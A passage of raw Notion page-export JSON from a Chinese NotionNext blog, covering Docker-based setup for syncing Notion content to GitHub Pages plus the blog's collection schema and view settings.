3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/be1374b0-9f64-4d38-b843-d8eb0b388bed/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6101321585903083,"block_preserve_scale":true},"created_time":1705644956370,"last_edited_time":1705644959894,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["be1374b0-9f64-4d38-b843-d8eb0b388bed"]}},"a53ee171-d741-4e49-8daf-df5e62f18d8d":{"value":{"id":"a53ee171-d741-4e49-8daf-df5e62f18d8d","type":"text","properties":{"title":[["再执行下面的命令,这样容器中就可以随意push到GitPage了"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705645043478,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"0ab6df8c-8599-4cea-92cd-7f5059097ff8":{"value":{"id":"0ab6df8c-8599-4cea-92cd-7f5059097ff8","type":"code","properties":{"title":[["git remote remove origin\n\ngit remote add origin https://[TOKEN]@github.com[USER]/[REPO]"]],"language":[["Bash"]]},"created_time":1705645008157,"last_edited_time":1705645010536,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9690bac2-76a6-4f23-9725-701322a573e5":{"value":{"id":"9690bac2-76a6-4f23-9725-701322a573e5","type":"sub_header","properties":{"title":[["搭建步骤"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644966404,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"e36d24e3-7992-4eb6-939a-fd11e1b53f06":{"value":{"id":"e36d24e3-7992-4eb6-939a-fd11e1b53f06","type":"code","properties":{"title":[["#切换到自己目录下\ncd /Users/xxxx/Documents/blog/\n#更改部署sh权限\nchmod 755 deploy.sh\n#构建docker镜像\ndocker build -t notion_git_sync .\n#运行容器\ndocker run -d -v /Users/xx/Documents/blog:/app --name notion_git_sync notion_git_sync"]],"language":[["Bash"]]},"created_time":1705641323138,"last_edited_time":1705641495242,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b41d838b-6fbe-4d71-9722-dadacb382dcf":{"value":{"id":"b41d838b-6fbe-4d71-9722-dadacb382dcf","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644711487,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"130d2fea-5722-4d03-b8ad-e87108f5a4c8":{"value":{"id":"130d2fea-5722-4d03-b8ad-e87108f5a4c8","type":"image","properties":{"size":[["196.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9a809d6d-6785-479f-a810-a93ae386dacf/Untitled.png"]]},"format":{"block_width":990,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9a809d6d-6785-479f-a810-a93ae386dacf/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5888888888888889,"block_preserve_scale":true},"created_time":1705641644301,"last_edited_time":1705641648144,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["9a809d6d-6785-479f-a810-a93ae386dacf"]}},"b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd":{"value":{"id":"b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd","type":"text","format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705643356716,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"b3324876-371f-4045-b072-9dbf1508458d":{"value":{"id":"b3324876-371f-4045-b072-9dbf1508458d","type":"header","properties":{"title":[["特别提醒"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705775531530,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"761d38bd-740e-4f58-a2fe-b740adfb3bd5":{"value":{"id":"761d38bd-740e-4f58-a2fe-b740adfb3bd5","type":"bulleted_list","properties":{"title":[["自己notion的PageId最好不要对外暴露,因为文章是支持密码访问的"]]},"created_time":1705644738431,"last_edited_time":1705644777404,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"c5050e56-238a-43c9-a868-0b977934d7c9":{"value":{"id":"c5050e56-238a-43c9-a868-0b977934d7c9","type":"bulleted_list","properties":{"title":[["fork下来的NotionNext最好改成私有,避免泄漏关键信息"]]},"created_time":1705644777904,"last_edited_time":1705645150349,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1eeb0e91-e622-4207-a487-f593e61cbafc":{"value":{"id":"1eeb0e91-e622-4207-a487-f593e61cbafc","type":"bulleted_list","properties":{"title":[["在github仓库中提前建好.nojekyll文件"]]},"created_time":1710868445911,"last_edited_time":1710868474053,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b15058de-7c95-4b23-8f5c-4ec0f6f3f46a":{"value":{"id":"b15058de-7c95-4b23-8f5c-4ec0f6f3f46a","type":"bulleted_list","properties":{"title":[["每次export的时候要删除./NotionNext/public/sitemap.xml"]]},"created_time":1710868474242,"last_edited_time":1710868494254,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"728023af-c072-43d3-b5eb-b90e0f683d0e":{"value":{"id":"728023af-c072-43d3-b5eb-b90e0f683d0e","type":"text","created_time":1705645130737,"last_edited_time":1705645152364,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9144d30d-d0cd-43c6-867b-4a5554268b55":{"value":{"id":"9144d30d-d0cd-43c6-867b-4a5554268b55","type":"header","properties":{"title":[["写到最后"]]},"created_time":1705645130737,"last_edited_time":1705645213985,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b76e0a4c-8033-43c6-aef8-d5b147dcad2a":{"value":{"id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","type":"column_list","content":["9ee864a2-7d8f-4168-bee6-379f4bf4b09b","05abb28a-ad68-45fa-a724-51a364a67d67","bdebad8d-342b-4e57-b82d-05d9b80dd49c"],"created_time":1705645477211,"last_edited_time":1705646150617,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9ee864a2-7d8f-4168-bee6-379f4bf4b09b":{"value":{"id":"9ee864a2-7d8f-4168-bee6-379f4bf4b09b","type":"column","content":["e93ae513-6038-4c72-8688-b7320b41fb95"],"format":{"column_ratio":0.25},"created_time":1705645477211,"last_edited_time":1705651482475,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"05abb28a-ad68-45fa-a724-51a364a67d67":{"value":{"id":"05abb28a-ad68-45fa-a724-51a364a67d67","type":"column","content":["ec882307-59f6-4b1b-882e-1d900daaa086","b2451af8-069a-4880-92d0-f4d3162f67cd"],"format":{"column_ratio":0.34601449275362306},"created_time":1705645706992,"last_edited_time":1705651479842,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"bdebad8d-342b-4e57-b82d-05d9b80dd49c":{"value":{"id":"bdebad8d-342b-4e57-b82d-05d9b80dd49c","type":"column","content":["2606f9d4-240f-4a91-8267-c2b28f18fe2e"],"format":{"column_ratio":0.4039855072463767},"created_time":1705646150615,"last_edited_time":1705646164501,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"e93ae513-6038-4c72-8688-b7320b41fb95":{"value":{"id":"e93ae513-6038-4c72-8688-b7320b41fb95","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"block_preserve_scale":true},"created_time":1705651441724,"last_edited_time":1705651474665,"parent_id":"9ee864a2-7d8f-4168-bee6-379f4bf4b09b","parent_table":"block","alive":true,"file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ec882307-59f6-4b1b-882e-1d900daaa086":{"value":{"id":"ec882307-59f6-4b1b-882e-1d900daaa086","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"created_time":1705645240676,"last_edited_time":1705651754731,"parent_id":"05abb28a-ad68-45fa-a724-51a364a67d67","parent_table":"block","alive":true}},"2606f9d4-240f-4a91-8267-c2b28f18fe2e":{"value":{"id":"2606f9d4-240f-4a91-8267-c2b28f18fe2e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"block_preserve_scale":true},"created_time":1705645618198,"last_edited_time":1705646150617,"parent_id":"bdebad8d-342b-4e57-b82d-05d9b80dd49c","parent_table":"block","alive":true,"file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"b2451af8-069a-4880-92d0-f4d3162f67cd":{"value":{"id":"b2451af8-069a-4880-92d0-f4d3162f67cd","type":"text","created_time":1705646294092,"last_edited_time":1705646294092,"parent_id":"05abb28a-ad68-45fa-a724-51a364a67d67","parent_table":"block","alive":true}},"66217c67-4273-4621-a92c-816bc797538f":{"value":{"id":"66217c67-4273-4621-a92c-816bc797538f","type":"text","created_time":1705645162144,"last_edited_time":1705646258031,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":684,"name":[["Notion Blog"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{"\u003eVd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`\u003c":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f